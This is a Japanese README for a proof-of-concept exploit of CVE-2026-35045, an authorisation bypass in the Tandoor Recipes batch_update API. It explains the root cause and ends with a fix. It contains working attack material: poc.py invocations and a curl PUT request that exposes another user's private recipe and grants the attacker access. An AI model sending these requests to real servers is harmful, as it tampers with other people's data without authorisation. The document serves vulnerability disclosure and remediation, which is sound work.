
CVE-2026-35045の概念実証エクスプロイト。Tandoor Recipesにおけるオブジェクトレベル認可の欠陥(BOLA)を悪用し、batch_update APIエンドポイントを介した不正なレシピ改変を実証します。
Tandoor Recipes v2.6.1 の PUT /api/recipe/batch_update/ エンドポイントは、スペース内の任意の認証済みユーザーがそのスペース内の任意のレシピ(他のユーザーが所有するプライベートレシピを含む)を変更することを許可します。これにより、すべての標準的な単一レシピエンドポイントで強制されるオブジェクトレベル認可チェックが完全にバイパスされます。
根本原因は Django REST Framework の動作上のギャップです: detail=False のリストアクションは を決して呼び出さず、 のみを呼び出します。クエリセットは のみでフィルタリングされ、、、 リストのチェックは行われません。攻撃者は、プライベートレシピの強制公開、永続的アクセスの自己付与、他のユーザーの権限の剥奪、メタデータの改ざんを、すべて単一の認証らしき API 呼び出しで実行でき、空のボディで が返されます。
has_object_permission()has_permission()space=request.spacecreated_byprivatesharedHTTP 200 OK| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — ユーザー制御キーによる認可バイパス |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 影響を受けるバージョン | Tandoor Recipes ≤ 2.6.1 |
| ベンダー | TandoorRecipes/recipes |
detail=False によるオブジェクトレベル権限チェックのバイパスファイル: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← created_by や private のチェックなし
)
Django REST Framework では、detail=False で登録されたアクションはリストアクションです。これらは get_object() を決して呼び出さないため、check_object_permissions() と CustomRecipePermission.has_object_permission() は決して呼び出されません。実行されるのは has_permission() のみで、これはスペースのメンバーシップを検証するだけで、レシピの所有権は検証しません。
PUT /api/recipe/{id}/ は完全な DRF 権限フローに従います:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ レシピがプライベートで、リクエスト者が所有者または共有相手でない場合、アクセスを拒否
batch_update エンドポイントはこのチェーン全体を黙ってスキップします。
RecipeBatchUpdateSerializer は以下のフィールドを公開しており、スペース内の任意のレシピに対して書き込み可能です:
| フィールド | 影響 |
|---|---|
private | レシピの可視性を切り替え |
shared_add / shared_remove / shared_set | アクセス制御リストを操作 |
keywords_add / keywords_remove / keywords_set | レシピのメタデータを変更 |
working_time / waiting_time | レシピの時間データを変更 |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ 攻撃者 │ ─────────────────────────────────────→│ Tandoor サーバー │
│ (ユーザーB)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (スペースメンバー)│
│ │
│ has_object_ │
│ permission() │
│ ✗ 呼び出されない │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← 所有権チェックなし
│
▼
┌────────────────┐
│ レシピ ID 2 │
│ (A が所有) │
│ private=false ← パッチ適用
│ shared=[2] ← 自己付与
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ 攻撃者 (B) │
│ レシピ ID 2 への│
│ 完全なアクセスを │
│ 取得 │
└────────────────┘
requests ライブラリpip install requests
# プライベートレシピを強制公開し、アクセスを自己付与(デフォルト)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# 強制公開のみ(private=false を設定)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# 自己付与のみ(shared リストに追加、private=true を維持)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| アクション | 説明 |
|---|---|
expose | 対象レシピに private: false を設定 — スペースの全メンバーに可視化を強制 |
self_grant | 攻撃者のユーザー ID を shared_add に追加 — レシピがプライベートのままでも永続的なアクセスを付与 |
both | 単一リクエストで両方のアクションを実行(デフォルト) |
1. 事前条件 — 標準エンドポイントではレシピにアクセス不可
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 期待値: 404 (プライベート、非所有)
2. エクスプロイト — 認可なしの batch_update
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# 期待値: HTTP 200 OK — {}
3. 事後条件 — レシピにアクセス可能になる
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 期待値: HTTP 200、レシピデータ付き、private=false
4. レシピ一覧で検証
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 期待値: 2 <recipe_name> False
| 影響領域 | 説明 | 深刻度 |
|---|---|---|
| レシピの強制公開 | private: false を設定すると、任意のレシピがスペースの全メンバーに表示される | 高 |
| 不正な自己付与 | shared_add で自分のユーザー ID を追加すると、任意のレシピへの永続的な読み書きアクセスが付与される | 高 |
| アクセス権の剥奪 | shared_remove または shared_set を使用して、レシピの共有リストから正当なユーザーを削除する | 高 |
| メタデータの改ざん | 他のユーザーが所有するレシピの working_time、waiting_time、keywords を変更する | 中 |
クエリセットを created_by=request.user でフィルタリングして、バッチ操作を所有レシピに制限します:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← 修正: 所有レシピに制限
)
スペース管理者が任意のレシピをバッチ更新する機能を必要とする場合は、ロールベースの条件を追加します:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
個々のオブジェクトを操作する detail=False アクションは、手動でオブジェクトレベル認可を強制する必要があります。DRF の has_object_permission() はリストアクションでは決して呼び出されません — この責任は完全に開発者にあります。
この概念実証は、認可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。作者は本ツールの誤用について一切の責任を負いません。
Filipe Gaudard — 攻撃的セキュリティ研究者 | eWPT | eWPTx